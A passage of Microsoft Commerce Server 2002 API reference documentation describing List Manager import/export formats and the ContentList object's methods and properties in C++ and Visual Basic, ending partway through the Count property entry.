GENERIC | 0x8 | A Generic list.
MAILABLE | 0x10 | A Mailable list (contains an rcp_email column).

Import/Export

List Manager can import lists from the following sources:

  • An SQL query run against an Open Database Connectivity (ODBC) data source.
  • An Analysis report run from Commerce Server Business Desk.
  • A Predictor resource segment.
  • A text file (comma-separated value (CSV) format).

List Manager can export lists to the following destinations:

  • A SQL Server 2000 table in an external database.
  • A text file (CSV format).

Text Files

If an absolute file path and name is not specified when importing or exporting a list, List Manager looks for the file relative to a root folder named "CommerceLists" on the local computer running the List Manager service. If the folder does not exist, an error is returned.

List Manager recognizes the following input text file format:

<Mail-to Address>,<User ID>,<Format>,<Locale>,<Source URL><cr><lf>

The only required field is Mail-to Address. The optional Format field should be one of the following: 1 - text, 2 - MIME, or 3 - MHTML. Any double quotation marks surrounding a field will be stripped. A trailing comma will produce an error.

List Manager exports text files in the same format as described above with all fields enclosed in double quotation marks.

Asynchronous Mode

List Manager allows time-consuming operations to run in an asynchronous manner. When run asynchronously, the operation returns immediately after the process has started. An application that starts an operation asynchronously has the following additional methods available:

  • The WaitOnOperation method returns when the operation is finished, or a timeout has occurred.
  • The GetOperationInfo method returns all details of the operation including its current status.
  • The CancelOperation method signals the operation to quit. If the operation does not quit in two minutes, the operation is terminated.

Database Tables

List Manager stores information about lists and operations in the lm_master and lm_master_operations database tables, respectively. For information on the format of these tables, see ListManager.GetLists and ListManager.GetOperations.


ContentList Object [C++]

ContentList Object [Visual Basic]

Use this object to access a particular collection of content items. The ContentList object provides aggregated access to the private data that it stores and to the shared data stored in the ContentListFactory object that created it. This object also flows through the Content Selection Framework (CSF) pipeline for the purpose of scoring content items.

ProgID: | Dependent (See Remarks for more information)
COM Class Name: | ContentList
Type Library Name: | Microsoft Commerce 2002 Cache Manager Type Library
DLL Name: | mscscache.dll
Threading Model: | Both
[C++]
COM Interface Name: | IContentList
Interface ID Constant: | IID_IContentList
Header File: | cacheint.h, mspu_guids.h

[C++] In C++, use the IContentList and IDataContainer interfaces to access the methods and properties of a ContentList object.

Methods

[C++]
Method | Description
AdjustScore | Adjusts the score associated with an item in the ContentList object by applying a multiplier.
BuildIndex | Builds an index on the specified column.
Filter | Filters items in a ContentList object based on the specified criteria.
GetData | Gets data from a specified row and column in a ContentList object in a high-performance, non-scriptable manner.
GetScore | Gets the score of an item in a ContentList object.
Search | Returns a RowCollection object containing the collection of content items that match the search criteria.
SetData | Sets data at a specified row and column in a ContentList object in a high-performance, non-scriptable manner.
SetScore | Sets the score of an item in a ContentList object.
[Visual Basic]
Method | Description
AdjustScore | Adjusts the score associated with an item in the ContentList object by applying a multiplier.
BuildIndex | Builds an index on all rows based on the specified column.
Filter | Filters items in a ContentList object based on the specified criteria.
GetData | This method is not usable from Microsoft Visual Basic or Microsoft Visual Basic Scripting Edition (VBScript).
GetScore | Gets the score of an item in a ContentList object.
Search | Returns a collection of content items that match the search criteria.
SetData | This method is not usable from Microsoft Visual Basic or Microsoft Visual Basic Scripting Edition (VBScript).
SetScore | Sets the score of an item in a ContentList object.

Properties

[C++]
Property | Type | Description
ActiveRows | IRowCollection | The collection of rows that meet the current Threshold and RowLimit properties and that have not been filtered out of the ContentList object. This property is read-only.
AllRows | IRowCollection | Contains a RowCollection object containing all rows in this ContentList object. This property is read-only.
Count | long | Contains the number of rows in this ContentList object. This property is read/write.
Factory | IContentListFactory | Contains the ContentListFactory object that created this ContentList object. This property is read-only.
Fields | Fields | Contains the Fields collection for this ContentList object. This property is read-only.
RowLimit | long | Contains the maximum number of active rows. This property is read/write.
Sorted | VARIANT_BOOL | Stores a flag that controls whether the rows in the ActiveRows collection property are returned sorted by score. This property is read/write.
Threshold | float | Contains the Threshold score required for active rows. This property is read/write.
TraceMessages | ISimpleList | Stores the list of TraceMessage strings accumulated for a particular row in the ContentList object. This property is read-only.
TraceMode | VARIANT_BOOL | Stores the TraceMode value. A value of True enables score tracing, a value of False disables it. This property is read/write.
[Visual Basic]
Property | Type | Description
ActiveRows | IRowCollection | The collection of rows that meet the current Threshold and RowLimit properties and that have not been filtered out of the ContentList object. This property is read-only.
AllRows | IRowCollection | The collection of all rows in the ContentList object. This property is read-only.
Count | Long | Stores the number of rows in the ContentList object. This property is read/write.
Factory | IContentListFactory | Stores a reference to the ContentListFactory object that created this ContentList object. This property is read-only.
Fields | Fields | The Fields collection for a particular row in the ContentList object. This property is read-only.
RowLimit | Long | Stores the maximum number of rows that can exist in the ActiveRows collection property. This property is read/write.
Sorted | Boolean | Stores a flag that controls whether the rows in the ActiveRows collection property are returned sorted by score. This property is read/write.
Threshold | Float | Stores the Threshold score that items must meet to be included in the ActiveRows collection property. This property is read/write.
TraceMessages | ISimpleList | Stores the list of TraceMessage strings accumulated for a particular row in the ContentList object. This property is read-only.
TraceMode | Boolean | Stores the TraceMode value. A value of True enables score tracing, a value of False disables it. This property is read/write.

Remarks

Both the ContentList object and the ContentListFactory object implement a common interface, IDataContainer. Therefore, they share the following methods and properties, which are functionally identical on both objects:

Properties:

  • AllRows
  • Count
  • Fields

Methods:

  • BuildIndex
  • GetData
  • Search
  • SetData

The function of a ContentList object is:

  • To aggregate private data in the ContentList object with shared data in the ContentListFactory object.
  • To provide functionality for scoring, searching, and filtering the list of content.

[C++] The ContentList object is a dependent object. Create a new ContentList object and obtain a pointer to its IContentList interface by calling the method IContentListFactory::CreateNewContentList.

[Visual Basic] The ContentList object is a dependent object. Create a new ContentList object by calling the method ContentListFactory.CreateNewContentList.

Important

  • The ContentList and the ContentListFactory objects are designed to be run in-process with their clients. The GetData and SetData methods assume direct memory access for performance reasons.


IContentList Methods [C++]

ContentList Methods [Visual Basic]

Methods

[C++]
Method | Description
AdjustScore | Adjusts the score associated with an item in the ContentList object by applying a multiplier.
BuildIndex | Builds an index on the specified column.
Filter | Filters items in a ContentList object based on the specified criteria.
GetData | Gets data from a specified row and column in a ContentList object in a high-performance, non-scriptable manner.
GetScore | Gets the score of an item in a ContentList object.
Search | Returns a RowCollection object containing the collection of content items that match the search criteria.
SetData | Sets data at a specified row and column in a ContentList object in a high-performance, non-scriptable manner.
SetScore | Sets the score of an item in a ContentList object.
[Visual Basic]
Method | Description
AdjustScore | Adjusts the score associated with an item in the ContentList object by applying a multiplier.
BuildIndex | Builds an index on all rows based on the specified column.
Filter | Filters items in a ContentList object based on the specified criteria.
GetData | This method is not usable from Microsoft Visual Basic or Microsoft Visual Basic Scripting Edition (VBScript).
GetScore | Gets the score of an item in a ContentList object.
Search | Returns a collection of content items that match the search criteria.
SetData | This method is not usable from Microsoft Visual Basic or Microsoft Visual Basic Scripting Edition (VBScript).
SetScore | Sets the score of an item in a ContentList object.


IContentList::AdjustScore Method [C++]

ContentList.AdjustScore Method [Visual Basic]

Use this method to adjust the score of an item in the ContentList object by applying a multiplier.

Definition

[C++]
HRESULT IContentList::AdjustScore(
 long RowNum,
 float Multiplier,
 BSTR Component,
 BSTR Description
);
[Visual Basic]
Sub AdjustScore(
 RowNum As Long,
 Multiplier As Float,
 Component As String,
 Description As String
)

Parameters

RowNum [C++]
[in] A long that contains the position of the item in the ContentList object for which the score is to be adjusted. Positions are counted from zero (0), not from one (1).
RowNum [Visual Basic]
A Long that contains the position of the item in the ContentList object for which the score is to be adjusted. Positions are counted from zero (0), not from one (1).
Multiplier [C++]
[in] A float that contains the value by which the score will be multiplied.
Multiplier [Visual Basic]
A Float that contains the value by which the score will be multiplied.
Component [C++]
[in,optional] A BSTR that contains an identifier for the pipeline component that is adjusting the score. By convention, this is the Programmatic Identifier (ProgID) of the pipeline component.
Component [Visual Basic]
An optional String that contains an identifier for the pipeline component that is adjusting the score. By convention, this is the ProgID of the pipeline component.
Description [C++]
[in,optional] A BSTR that contains a description to be appended to the score adjustment tracing string. This string should briefly describe the nature of the adjustment.
Description [Visual Basic]
An optional String that contains a description to be appended to the score adjustment tracing string. This string should briefly describe the nature of the adjustment.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

The Component and Description parameters are optional. They are ignored unless the TraceMode property is set to True.

This method assumes that the ContentList object has a column of type CLCOL_R4 with the CLCOL_SCORE_COLUMN flag set.

[Visual Basic]

Example

myContentList.AdjustScore 1, 1.25

See Also

[C++] ContentList Object

[Visual Basic] ContentList Object


IContentList::BuildIndex Method [C++]

ContentList.BuildIndex Method [Visual Basic]

Use this method to build an index for a specific column in a ContentList object.

Definition

[C++]
HRESULT IContentList::BuildIndex(
 VARIANT vCol
);
[Visual Basic]
Sub BuildIndex(
 vCol As Variant
)

Parameters

vCol [C++]
[in] A VARIANT that identifies the column for which the index will be built. The column is identified by either a number representing a column position, starting at zero (0), or a string containing a column name.
vCol [Visual Basic]
A Variant that identifies the column for which the index will be built. The column is identified by either a number representing a column position, starting at zero (0), or a string containing a column name.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

S_FALSE
An index already exists on the column.

Remarks

An index can be built on any read-only, non-private column that is of type string, integer, or array of strings or integers. (CLCOL_READONLY and not CLCOL_PRIVATE). Also, only columns of type CLCOL_I2, CLCOL_I4, CLCOL_STRING, and CLCOL_VARIANTARRAY can be indexed. The non-private restriction means that the column will actually reside in the corresponding ContentListFactory object.

If a search is conducted on a column for which no index yet exists, the index is automatically created. This means that, although you are never required to call the BuildIndex method, you may want to incur the cost of creating the index at a known time for performance sake.

This method is functionally identical to the one of the same name in the ContentListFactory object.

[Visual Basic]

Example

myDataContainer.BuildIndex 10

See Also

[C++] ContentList Object

[Visual Basic] ContentList Object


IContentList::Filter Method [C++]

ContentList.Filter Method [Visual Basic]

Use this method to filter items in a ContentList object. Items that do not pass the filter have their scores set to zero (0).

Definition

[C++]
HRESULT IContentList::Filter(
 VARIANT vColumn,
 VARIANT vFilterCriteria,
 FilterActionEnum FilterAction,
 BSTR Component
);
[Visual Basic]
Sub Filter(
 vColumn As Variant,
 vFilterCriteria As Variant,
 FilterAction As FilterActionEnum,
 Component As String
)

Parameters

vColumn [C++]
[in] A VARIANT that identifies the column upon which to filter. The column is identified by either a number representing a column position, starting at zero (0), or a string containing a column name.
vColumn [Visual Basic]
A Variant that identifies the column for which the index will be built. The column is identified by either a number representing a column position, starting at zero (0), or a string containing a column name.
vFilterCriteria [C++]
[in] A VARIANT that contains the filter criterion. The criterion is usually a BSTR, an integer, or a SAFEARRAY of VARIANTS containing BSTRs or integers.
vFilterCriteria [Visual Basic]
A Variant that contains the filter criterion. The criterion is either a single String, an array of Strings, or an Integer.
FilterAction [C++]
[in] An enumeration value. Valid values are FILTER_REQUIRE and FILTER_EXCLUDE. See the Remarks section for more information about the consequences of these two actions.
FilterAction [Visual Basic]
An enumeration value. Valid values are FILTER_REQUIRE and FILTER_EXCLUDE. See the Remarks section for more information about the consequences of these two actions.
Component [C++]
[in,optional] A BSTR that is intended to contain the name of the pipeline component doing the filtering. This parameter is optional and is used for score tracing. Trace messages will be generated for content items that are filtered out.
Component [Visual Basic]
A String that is intended to contain the name of the pipeline component doing the filtering. This parameter is optional and is used for score tracing. Trace messages will be generated for content items that are filtered out.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

An item in the ContentList object matches the criteria if the value for the specified column exactly matches a string or number passed in the vFilterCriteria parameter. If the vFilterCriteria parameter is an array of strings, matching any one of the strings in the array is considered a match. If the FilterAction parameter is set to FILTER_REQUIRE, non-matching items have their scores set to zero (0). If the FilterAction parameter is set to FILTER_EXCLUDE, matching items have their scores set to zero (0).

For the sake of uniformity, the pipeline components provided with Commerce Server 2002 pass their own Programmatic Identifier (ProgID) for the Component parameter.

[Visual Basic]

Example

myContentList.Filter "Score", 3, FILTER_EXCLUDE

See Also

[C++] ContentList Object

[Visual Basic] ContentList Object


IContentList::GetData Method [C++]

ContentList.GetData Method [Visual Basic]

[C++] Use this method to read data from a specified row and column in a ContentList object, and through aggregation, the corresponding ContentListFactory object.

[C++] This is one of the two ContentList methods that do not support a scriptable interface. The other method is SetData. They are only intended for use in C++.

[Visual Basic] Due to performance considerations and compatibility issues, this method cannot be used from Microsoft Visual Basic or Microsoft Visual Basic Scripting Edition (VBScript).

[C++]

Definition

HRESULT IContentList::GetData(
 long iRow,
 long iCol,
 BYTE* pData
);
[C++]

Parameters

iRow
[in] A long that contains the position of the row from which the data should be read. Row positions are counted from zero (0), not one (1).
iCol
[in] A long that contains the position of the column within the specified row from which the data should be read. Column positions are counted from zero (0), not one (1).
pData
[out] A pointer to where the data should be written.
[C++]

Return Values

This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[C++]

Error Values

This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[C++]

Remarks

The GetData method does not do type checking. The memory pointed to by the pData parameter must be large enough to receive the value being read. If the allotted memory is too small, memory corruption occurs.

The ContentList object stores some types of data by value and other types of data by reference. Therefore, how you use the GetData and SetData methods depends on the data type.

When you pass a pointer to a String to the SetData method, it stores the String in the ContentList object, not the pointer. The GetData method returns a pointer to the String in the ContentList object, but not the String. Do not hold a reference to the String in the ContentList object beyond the lifetime of the object, as it will be invalid after the object is destroyed. The ContentList object only stores wide character Unicode strings. ANSI strings are not supported.

When you pass an interface pointer to an object to the SetData method, it calls AddRef on the interface pointer and stores it in the ContentList object. The GetData method returns this pointer and calls AddRef on it. The caller must call release on the pointer returned by the GetData method.

When you pass a pointer to a SafeArray to the SetData method, it locks the SafeArray and stores a reference to it in the ContentList object. The GetData method returns a reference to the locked array. The caller should not unlock the array as this could invalidate the reference stored in the ContentList object. It is safe to store the array in a Variant of type VT_ARRAY or VT_VARIANT, as a call to ::VariantClear will not release the SafeArray because it is locked. When the ContentList object is being destroyed the SafeArray will be unlocked and SafeArrayDestroy will be called. Since SafeArrays have a lock count similar to reference counting the array data will be released only if the lock count is zero.

GetData reads and SetData stores all other supported data types by value.

This method is functionally identical to the one of the same name in the ContentListFactory object.

See Also

[C++] ContentList Object

[Visual Basic] ContentList Object


IContentList::GetScore Method [C++]

ContentList.GetScore Method [Visual Basic]

Use this method to retrieve the score of an item in a ContentList object.

Definition

[C++]
HRESULT IContentList::GetScore(
 long RowNum,
 float* Score
);
[Visual Basic]
Function GetScore(
 RowNum As Long
) As Float

Parameters

RowNum [C++]
[in] A long that contains the position of the item in the ContentList object for which the score will be returned. Positions are counted from zero (0), not from one (1).
RowNum [Visual Basic]
A Long that contains the position of the item in the ContentList object for which the score will be returned. Positions are counted from zero (0), not from one (1).
Score [C++]
[out,retval] A pointer to a float used to return the score for the specified item.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns a Float that contains the score for the specified item.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

[Visual Basic]

Example

'sngScore is a float
sngScore = myContentList.GetScore(12)

See Also

[C++] ContentList Object

[Visual Basic] ContentList Object


IContentList::Search Method [C++]

ContentList.Search Property [Visual Basic]

Use this method to create a RowCollection object that allows access to each item in the ContentList object that matches the specified criterion.

Definition

[C++]
HRESULT IContentList::Search(
 VARIANT vCol,
 VARIANT vSearchCriteria,
 IRowCollection** ppIRowCollection
);
[Visual Basic]
Function Search(
 vCol As Variant,
 vSearchCriteria As Variant
) As IRowCollection

Parameters

vCol [C++]
[in] A VARIANT that identifies the column to search. The column is identified by either a number representing a column position, starting at zero (0), or a string containing a column name.
vCol [Visual Basic]
A VARIANT that identifies the column to search. The column is identified by either a number representing a column position, starting at zero (0), or a string containing a column name.
vSearchCriteria [C++]
[in] A VARIANT that contains the filter criterion. The criterion is usually a BSTR, an integer, or a SAFEARRAY of VARIANTS containing BSTRs or integers. The Search method will attempt to coerce other types to the type of the column being searched.
vSearchCriteria [Visual Basic]
A Variant that contains the filter criterion. The criterion is usually a String, an array of Strings, or an Integer. An attempt will be made to coerce other types to the type of the column being searched.
ppIRowCollection [C++]
[out,retval] A pointer to an address to receive an IRowCollection interface pointer for a new RowCollection object that allows access to the rows that match the search criteria.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns a reference to a new RowCollection object that contains one row for each matching item.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

The following standard COM error value has a particular meaning in the context of this method.

S_FALSE
No rows in the ContentList object matched the filter criteria. As a result, the returned RowCollection is empty.

Remarks

Columns must be shared (not private) and read-only in order to be indexed and searched. Columns must also be of type string, integer (long or short), or variant array to be searchable. The search criteria may be any variant type that can be coerced to the type of the column being searched.

When the search criteria is an array of variants, the set of rows returned contains all rows that match any of the search criteria array elements. It is a union of the matches.

This property is functionally identical to the one of the same name in the ContentListFactory object.

[Visual Basic]

Example

'myCol is a RowCollection object
Set myCol = myContentList.Search(10, "CarAds")

See Also

[C++] ContentList Object

[Visual Basic] ContentList Object


IContentList::SetData Method [C++]

ContentList.SetData Property [Visual Basic]

[C++] Use this method to write data to a specified row and column in a ContentList object and, through aggregation, to the corresponding ContentListFactory object.

[C++] This is one of the two ContentList methods that do not support a scriptable interface. The other method is GetData. They are only intended for use in C++.

[Visual Basic] Due to performance considerations, this method cannot be used from Microsoft Visual Basic or Microsoft Visual Basic Scripting Edition (VBScript).

Definition

[C++]
HRESULT IContentList::SetData(
 long iRow,
 long iCol,
 BYTE* pData
);

Parameters

[C++]
iRow
[in] A long that contains the position of the row into which the data should be written. Row positions are counted from zero (0), not one (1).
iCol
[in] A long that contains the position of the column within the specified row into which the data should be written. Column positions are counted from zero (0), not one (1).
pData
[in] A pointer to the data to write into the ContentList object.

Return Values

[C++]

This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

Error Values

[C++]

This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

Remarks

[C++]

The SetData method does not do type checking for the data being written. The data pointed to by the pData parameter must be of the correct type for the column. Type (and especially size) mismatches will not result in memory scribbles (which is possible with the GetData method), but some of the data may not be written into the ContentList object.

The ContentList object stores some types of data by value and other types of data by reference. Therefore, how you use the GetData and SetData methods depends on the data type.

When you pass a pointer to a String to the SetData method, it stores the String in the ContentList object, not the pointer. The GetData method returns a pointer to the String in the ContentList object, but not the String. Do not hold a reference to the String in the ContentList object beyond the lifetime of the object, as it will be invalid after the object is destroyed. The ContentList object only stores wide character Unicode strings. ANSI strings are not supported.

When you pass an interface pointer to an object to the SetData method, it calls AddRef on the interface pointer and stores it in the ContentList object. The GetData method returns this pointer and calls AddRef on it. The caller must call release on the pointer returned by the GetData method.

When you pass a pointer to a SafeArray to the SetData method, it locks the SafeArray and stores a reference to it in the ContentList object. The GetData method returns a reference to the locked array. The caller should not unlock the array as this could invalidate the reference stored in the ContentList object. It is safe to store the array in a Variant of type VT_ARRAY or VT_VARIANT, as a call to ::VariantClear will not release the SafeArray because it is locked. When the ContentList object is being destroyed the SafeArray will be unlocked and SafeArrayDestroy will be called. Since SafeArrays have a lock count similar to reference counting the array data will be released only if the lock count is zero.

GetData reads and SetData stores all other supported data types by value.

Objects must be "both threaded" and must aggregate the Free Threaded Marshaller object in order to be stored in a ContentList object. If you ignore this restriction, marshalling errors may occur.

This method is functionally identical to the one of the same name in the ContentListFactory object.

Caution

  • Because ContentList objects do not perform synchronization or locking, take caution when you are writing string, array, or object values in multi-threaded scenarios. Race conditions could exist that might result in resource leaks.

See Also

[C++] ContentList Object

[Visual Basic] ContentList Object


IContentList::SetScore Method [C++]

ContentList.SetScore Property [Visual Basic]

Use this method to set a new score for an item in a ContentList object.

Definition

[C++]
HRESULT IContentList::SetScore(
 long RowNum,
 float Score,
 BSTR Component,
 BSTR Description
);
[Visual Basic]
Sub SetScore(
 RowNum As Long,
 Score As Float,
 Component As String,
 Description As String
)

Parameters

RowNum [C++]
[in] A long that contains the position of the item in the ContentList object for which a new score will be set. Positions are counted from zero (0), not from one (1).
RowNum [Visual Basic]
A Long that contains the position of the item in the ContentList object for which a new score will be set. Positions are counted from zero (0), not from one (1).
Score [C++]
[in] A float that contains the new score.
Score [Visual Basic]
A Float that contains the new score.
Component [C++]
[in,optional] A BSTR that is intended to contain the name of the pipeline component that is setting the new score. This parameter is optional and is used for score tracing.
Component [Visual Basic]
A String that is intended to contain the name of the pipeline component that is setting the new score. This parameter is optional and is used for score tracing.
Description [C++]
[in,optional] A BSTR that is intended to contain the reason that the score is being set; for example, Need of Delivery. This parameter is optional and is used for score tracing.
Description [Visual Basic]
A String that is intended to contain the reason that the score is being set; for example, Need of Delivery. This parameter is optional and is used for score tracing.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

The Component and Description parameters are optional.

This method assumes that the ContentList object has a column of type CLCOL_R4 with the CLCOL_SCORE_COLUMN flag set.

For the sake of uniformity, pipeline components provided with Commerce Server 2002 pass the Programmatic Identifier (ProgID) of the component for the Component parameter.

[Visual Basic]

Example

'strProgID is a string
myContentList.SetScore(123456, 0.5, strProgID, "")

See Also

[C++] ContentList Object

[Visual Basic] ContentList Object


IContentList Properties [C++]

ContentList Properties [Visual Basic]

Properties

[C++]
Property | Type | Description
ActiveRows | IRowCollection | The collection of rows that meet the current Threshold and RowLimit properties and that have not been filtered out of the ContentList object. This property is read-only.
AllRows | IRowCollection | Contains a RowCollection object containing all rows in this ContentList object. This property is read-only.
Count | long | Contains the number of rows in this ContentList object. This property is read/write.
Factory | IContentListFactory | Contains the ContentListFactory object that created this ContentList object. This property is read-only.
Fields | Fields | Contains the Fields collection for this ContentList object. This property is read-only.
RowLimit | long | Contains the maximum number of active rows. This property is read/write.
Sorted | VARIANT_BOOL | Stores a flag that controls whether the rows in the ActiveRows collection property are returned sorted by score. This property is read/write.
Threshold | float | Contains the Threshold score required for active rows. This property is read/write.
TraceMessages | ISimpleList | Stores the list of TraceMessage strings accumulated for a particular row in the ContentList object. This property is read-only.
TraceMode | VARIANT_BOOL | Stores the TraceMode value. A value of True enables score tracing, a value of False disables it. This property is read/write.
[Visual Basic]
Property | Type | Description
ActiveRows | IRowCollection | The collection of rows that meet the current Threshold and RowLimit properties and that have not been filtered out of the ContentList object. This property is read-only.
AllRows | IRowCollection | The collection of all rows in the ContentList object. This property is read-only.
Count | Long | Stores the number of rows in the ContentList object. This property is read/write.
Factory | IContentListFactory | Stores a reference to the ContentListFactory object that created this ContentList object. This property is read-only.
Fields | Fields | The Fields collection for a particular row in the ContentList object. This property is read-only.
RowLimit | Long | Stores the maximum number of rows that can exist in the ActiveRows collection property. This property is read/write.
Sorted | Boolean | Stores a flag that controls whether the rows in the ActiveRows collection property are returned sorted by score. This property is read/write.
Threshold | Float | Stores the Threshold score that items must meet to be included in the ActiveRows collection property. This property is read/write.
TraceMessages | ISimpleList | Stores the list of TraceMessage strings accumulated for a particular row in the ContentList object. This property is read-only.
TraceMode | Boolean | Stores the TraceMode value. A value of True enables score tracing, a value of False disables it. This property is read/write.


IContentList::get_ActiveRows Property [C++]

ContentList.ActiveRows Property [Visual Basic]

The ActiveRows property returns a RowCollection object. This property is read-only; however, the RowCollection object is read/write. Changes made to the data within the RowCollection object are also reflected in the ContentList object.

Definition

[C++]
Get method:
HRESULT IContentList::get_ActiveRows(
 IRowCollection** ActiveRows
);
[Visual Basic]
Property ActiveRows() As IRowCollection

Parameters

ActiveRows [C++]
[out,retval] The address of a pointer used to return the IRowCollection interface of a RowCollection object that allows access the set of active items in this ContentList object.

[Visual Basic] None.

[C++]

Return Values

This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

The ActiveRows RowCollection object allows access to the content items of the ContentList object whose score is greater than or equal to the current threshold score contained in the Threshold property. If the value of the Threshold property is set to a negative number, even items that have been filtered out by the Filter method might be included in the ActiveRows collection. This occurs because an item being filtered out has a score set to zero, which is still greater than a negative threshold value.

Regardless of the number of items with scores above the threshold, the number of items in the ActiveRows object is limited by the RowLimit property.

The order of the rows in the ActiveRows collection is undefined unless the Sorted property is set to True.

See Also

[C++] ContentList Object

[Visual Basic] ContentList Object

[C++] RowCollection Object

[Visual Basic] RowCollection Object


IContentList::get_AllRows Property [C++]

ContentList.AllRows Property [Visual Basic]

The AllRows property returns a new RowCollection object that allows access to the items in the ContentList object and, through aggregation, the ContentListFactory object. The AllRows property is read-only; however, the RowCollection object is read/write. Changes made to the data in the RowCollection object are reflected in the ContentList object.

Definition

[C++]
Get method:
HRESULT IContentList::get_AllRows(
 IRowCollection** AllRows
);
[Visual Basic]
Property AllRows() As IRowCollection

Parameters

AllRows [C++]
[out,retval] The address of a pointer used to return the IRowCollection interface of a RowCollection object that contains all of the items in this ContentList object.

[Visual Basic] None.

[C++]

Return Values

This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

This property is functionally identical to the one of the same name to be found in the ContentListFactory object.

See Also

[C++] ContentList Object

[Visual Basic] ContentList Object

[C++] RowCollection Object

[Visual Basic] RowCollection Object


IContentList::get_Count, put_Count Property [C++]

ContentList.Count Property [Visual Basic]

The Count property is a read/write number that gets or sets the number of items in a ContentList object.

Definition

[C++]

Get method:

HRESULT IContentList::get_Count(
 long* Count
);

Put method:

HRESULT IContentList::put_Count(
 long Count
);
[Visual Basic]
Property Count() As Long

Parameters

Count [C++]
[in] When putting the property, a long that contains the item count.
[out,retval] When getting the property, a pointer to a long used to return the item count.

[Visual Basic] None.

[C++]

Return Values

These methods return an HRESULT indicating whether they completed successfully. See the Error Values section for more details.

Error Values

